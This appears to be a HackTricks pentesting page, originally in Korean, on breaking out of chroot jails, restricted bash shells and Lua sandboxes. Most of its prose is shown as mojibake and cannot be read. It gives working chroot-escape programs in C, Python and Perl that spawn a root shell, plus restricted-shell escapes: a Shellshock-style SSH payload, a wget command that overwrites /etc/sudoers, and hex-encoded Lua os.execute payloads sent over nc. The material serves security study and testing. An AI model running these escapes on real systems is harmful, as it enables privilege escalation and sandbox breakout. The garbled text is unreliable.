Jails์์ ํ์ถํ๊ธฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
GTFOBins
โShellโ ์์ฑ์ด ์๋ ์ด์ง ํ์ผ์ ์คํํ ์ ์๋์ง https://gtfobins.github.io/ ์์ ๊ฒ์ํ์ธ์.
Chroot ํ์ถ
wikipedia์์: chroot ๋ฉ์ปค๋์ฆ์ ํน๊ถ ์๋ (root) ์ฌ์ฉ์์ ์ํ ์๋์ ์ธ ๋ณ์กฐ๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํ ๊ฒ์ด ์๋๋๋ค. ๋๋ถ๋ถ์ ์์คํ
์์ chroot ์ปจํ
์คํธ๋ ์ ๋๋ก ์์ด์ง ์์ผ๋ฉฐ, ์ถฉ๋ถํ ๊ถํ์ ๊ฐ์ง chrooted ํ๋ก๊ทธ๋จ์ ํ์ถํ๊ธฐ ์ํด ๋ ๋ฒ์งธ chroot๋ฅผ ์ํํ ์ ์์ต๋๋ค.
๋ณดํต ์ด๋ ํ์ถํ๊ธฐ ์ํด chroot ๋ด๋ถ์์ root๊ฐ ๋์ด์ผ ํจ์ ์๋ฏธํฉ๋๋ค.
Tip
๋๊ตฌ chw00t๋ ๋ค์ ์๋๋ฆฌ์ค๋ฅผ ์ ์ฉํ๊ณ
chroot์์ ํ์ถํ๊ธฐ ์ํด ๋ง๋ค์ด์ก์ต๋๋ค.
Root + CWD
Warning
chroot ๋ด๋ถ์์ root์ธ ๊ฒฝ์ฐ ๋ค๋ฅธ chroot๋ฅผ ์์ฑํ์ฌ ํ์ถํ ์ ์์ต๋๋ค. ์ด๋ 2๊ฐ์ chroot๊ฐ (Linux์์) ๊ณต์กดํ ์ ์๊ธฐ ๋๋ฌธ์, ํด๋๋ฅผ ์์ฑํ ํ ๊ทธ ์๋ก์ด ํด๋์์ ์๋ก์ด chroot๋ฅผ ์์ฑํ๋ฉด ๋น์ ์ด ๊ทธ ์ธ๋ถ์ ์๊ฒ ๋์ด, ์ด์ ์๋ก์ด chroot ์ธ๋ถ์ ์๊ฒ ๋๊ณ ๋ฐ๋ผ์ FS์ ์๊ฒ ๋ฉ๋๋ค.
์ด๋ ๋ณดํต chroot๊ฐ ์์ ๋๋ ํ ๋ฆฌ๋ฅผ ์ง์ ๋ ์์น๋ก ์ด๋ํ์ง ์๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ฏ๋ก, chroot๋ฅผ ์์ฑํ ์ ์์ง๋ง ๊ทธ ์ธ๋ถ์ ์๊ฒ ๋ฉ๋๋ค.
๋ณดํต chroot ๊ฐ์ฅ ์์์๋ chroot ์ด์ง ํ์ผ์ ์ฐพ์ ์ ์์ง๋ง, ์ด์ง ํ์ผ์ ์ปดํ์ผ, ์
๋ก๋ ๋ฐ ์คํํ ์ ์์ต๋๋ค:
C: break_chroot.c
```c #include//gcc break_chroot.c -o break_chroot
int main(void) { mkdir(โchroot-dirโ, 0755); chroot(โchroot-dirโ); for(int i = 0; i < 1000; i++) { chdir(โ..โ); } chroot(โ.โ); system(โ/bin/bashโ); }
</details>
<details>
<summary>ํ์ด์ฌ</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl
```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```Root + Saved fd
Warning
์ด๊ฒ์ ์ด์ ์ฌ๋ก์ ์ ์ฌํ์ง๋ง, ์ด ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ ํ์ฌ ๋๋ ํ ๋ฆฌ์ ๋ํ ํ์ผ ์ค๋ช ์๋ฅผ ์ ์ฅํ๊ณ ์ ํด๋์ chroot๋ฅผ ์์ฑํฉ๋๋ค. ๋ง์ง๋ง์ผ๋ก, ๊ทธ๋ chroot ์ธ๋ถ์์ ๊ทธ FD์ ์ ๊ทผํ ์ ์์ผ๋ฏ๋ก ์ด๋ฅผ ์ ๊ทผํ๊ณ ํ์ถํฉ๋๋ค.
C: break_chroot.c
```c #include//gcc break_chroot.c -o break_chroot
int main(void) { mkdir(โtmpdirโ, 0755); dir_fd = open(โ.โ, O_RDONLY); if(chroot(โtmpdirโ)){ perror(โchrootโ); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(โ..โ); chroot(โ.โ); }
</details>
### Root + Fork + UDS (Unix Domain Sockets)
> [!WARNING]
> FD๋ Unix Domain Sockets๋ฅผ ํตํด ์ ๋ฌ๋ ์ ์์ผ๋ฏ๋ก:
>
> - ์์ ํ๋ก์ธ์ค ์์ฑ (fork)
> - ๋ถ๋ชจ์ ์์์ด ํต์ ํ ์ ์๋๋ก UDS ์์ฑ
> - ๋ค๋ฅธ ํด๋์์ ์์ ํ๋ก์ธ์ค์์ chroot ์คํ
> - ๋ถ๋ชจ ํ๋ก์ธ์ค์์ ์๋ก์ด ์์ ํ๋ก์ธ์ค chroot ์ธ๋ถ์ ํด๋ FD ์์ฑ
> - UDS๋ฅผ ์ฌ์ฉํ์ฌ ์์ ํ๋ก์ธ์ค์ ๊ทธ FD ์ ๋ฌ
> - ์์ ํ๋ก์ธ์ค๊ฐ ๊ทธ FD๋ก chdirํ๊ณ , chroot ์ธ๋ถ์ ์๊ธฐ ๋๋ฌธ์ ๊ฐ์ฅ์์ ํ์ถํ๊ฒ ๋จ
### Root + Mount
> [!WARNING]
>
> - ๋ฃจํธ ์ฅ์น (/)๋ฅผ chroot ๋ด๋ถ์ ๋๋ ํ ๋ฆฌ์ ๋ง์ดํธ
> - ๊ทธ ๋๋ ํ ๋ฆฌ๋ก chroot
>
> ์ด๋ Linux์์ ๊ฐ๋ฅํฉ๋๋ค
### Root + /proc
> [!WARNING]
>
> - procfs๋ฅผ chroot ๋ด๋ถ์ ๋๋ ํ ๋ฆฌ์ ๋ง์ดํธ (์์ง ๋ง์ดํธ๋์ง ์์๋ค๋ฉด)
> - ๋ค๋ฅธ root/cwd ํญ๋ชฉ์ด ์๋ pid๋ฅผ ์ฐพ๊ธฐ, ์: /proc/1/root
> - ๊ทธ ํญ๋ชฉ์ผ๋ก chroot
### Root(?) + Fork
> [!WARNING]
>
> - Fork (์์ ํ๋ก์ธ์ค)๋ฅผ ์์ฑํ๊ณ FS์ ๋ ๊น์ ํด๋๋ก chroot ๋ฐ CD
> - ๋ถ๋ชจ ํ๋ก์ธ์ค์์ ์์ ํ๋ก์ธ์ค๊ฐ ์๋ ํด๋๋ฅผ ์์์ chroot ์ด์ ํด๋๋ก ์ด๋
> - ์ด ์์ ํ๋ก์ธ์ค๋ chroot ์ธ๋ถ์ ์๊ฒ ๋จ
### ptrace
> [!WARNING]
>
> - ์์ ์๋ ์ฌ์ฉ์๊ฐ ์์ ์ ํ๋ก์ธ์ค์์ ์์ ์ ๋๋ฒ๊น
ํ ์ ์์์ง๋ง... ์ด์ ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ถ๊ฐ๋ฅ
> - ์ด์จ๋ ๊ฐ๋ฅํ๋ค๋ฉด, ํ๋ก์ธ์ค์ ptrace๋ฅผ ์ฌ์ฉํ๊ณ ๊ทธ ์์์ shellcode๋ฅผ ์คํํ ์ ์์ ([์ด ์์ ์ฐธ์กฐ](linux-capabilities.md#cap_sys_ptrace)).
## Bash Jails
### Enumeration
๊ฐ์ฅ์ ๋ํ ์ ๋ณด ์ป๊ธฐ:
```bash
echo $SHELL
echo $PATH
env
export
pwd
PATH ์์
PATH ํ๊ฒฝ ๋ณ์๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํ์ธ์.
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
vim ์ฌ์ฉํ๊ธฐ
:set shell=/bin/sh
:shell
์คํฌ๋ฆฝํธ ์์ฑ
check if you can create an executable file with /bin/bash as content
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
SSH๋ฅผ ํตํ bash ์ป๊ธฐ
ssh๋ฅผ ํตํด ์ ๊ทผํ๋ ๊ฒฝ์ฐ, bash ์ ธ์ ์คํํ๊ธฐ ์ํด ์ด ํธ๋ฆญ์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
์ ์ธ
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
Wget
์๋ฅผ ๋ค์ด sudoers ํ์ผ์ ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
๋ค๋ฅธ ํธ๋ฆญ
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
[https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)
๋ค์ ํ์ด์ง๋ ํฅ๋ฏธ๋ก์ธ ์ ์์ต๋๋ค:
Python ๊ฐ์ฅ
๋ค์ ํ์ด์ง์์ ํ์ด์ฌ ๊ฐ์ฅ์์ ํ์ถํ๋ ํธ๋ฆญ:
Lua ๊ฐ์ฅ
์ด ํ์ด์ง์์๋ lua ๋ด๋ถ์์ ์ ๊ทผํ ์ ์๋ ์ ์ญ ํจ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: https://www.gammon.com.au/scripts/doc.php?general=lua_base
๋ช ๋ น ์คํ๊ณผ ํจ๊ป Eval:
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ์๋ฅผ ์ ์์ด ํธ์ถํ๋ ๋ช ๊ฐ์ง ํธ๋ฆญ:
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ํจ์ ๋์ด:
for k,v in pairs(string) do print(k,v) end
๋ค๋ฅธ lua ํ๊ฒฝ์์ ์ด์ ์ ์ ๋ผ์ด๋๋ฅผ ์คํํ ๋๋ง๋ค ํจ์์ ์์๊ฐ ๋ณ๊ฒฝ๋ฉ๋๋ค. ๋ฐ๋ผ์ ํน์ ํจ์๋ฅผ ์คํํด์ผ ํ๋ ๊ฒฝ์ฐ, ๋ค์ํ lua ํ๊ฒฝ์ ๋ก๋ํ๊ณ le library์ ์ฒซ ๋ฒ์งธ ํจ์๋ฅผ ํธ์ถํ์ฌ ๋ฌด์ฐจ๋ณ ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค:
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
์ธํฐ๋ํฐ๋ธ lua ์ ธ ์ป๊ธฐ: ์ ํ๋ lua ์ ธ ์์ ์๋ค๋ฉด ๋ค์์ ํธ์ถํ์ฌ ์๋ก์ด lua ์ ธ(๊ทธ๋ฆฌ๊ณ ํฌ๋ง์ ์ผ๋ก ๋ฌด์ ํ)์ ์ป์ ์ ์์ต๋๋ค:
debug.debug()
References
- https://www.youtube.com/watch?v=UO618TeyCWo (์ฌ๋ผ์ด๋: https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


